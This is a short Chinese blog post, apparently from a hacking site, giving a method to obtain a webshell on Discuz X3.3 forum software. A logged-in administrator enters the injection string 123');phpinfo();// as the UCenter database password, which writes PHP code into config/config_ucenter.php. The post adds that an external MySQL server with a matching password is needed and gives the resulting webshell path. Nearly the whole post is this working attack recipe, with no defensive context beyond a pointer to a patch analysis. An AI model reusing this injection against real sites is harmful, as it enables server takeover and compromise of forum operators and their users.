Discuz X3.3后台拿SHELL方法

  • A+
所属分类:颓废's Blog
摘要

以管理员身份登陆后台后,来到站长–>UCenter设置处,修改UCenter数据库密码为123′);phpinfo();//

以管理员身份登陆后台后,来到站长-->UCenter设置处,修改UCenter数据库密码为123');phpinfo();//

Discuz X3.3后台拿SHELL方法

前题是先得有一台允许外连且用户密码就为123');phpinfo();//的MySQL服务器 点击提交即可。 

WEBSHELL地址: 

http://www.0dayhack.com/config/config_ucenter.php

Discuz X3.3后台拿SHELL方法

漏洞分析参见360播报Discuz X3.3补丁安全分析

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: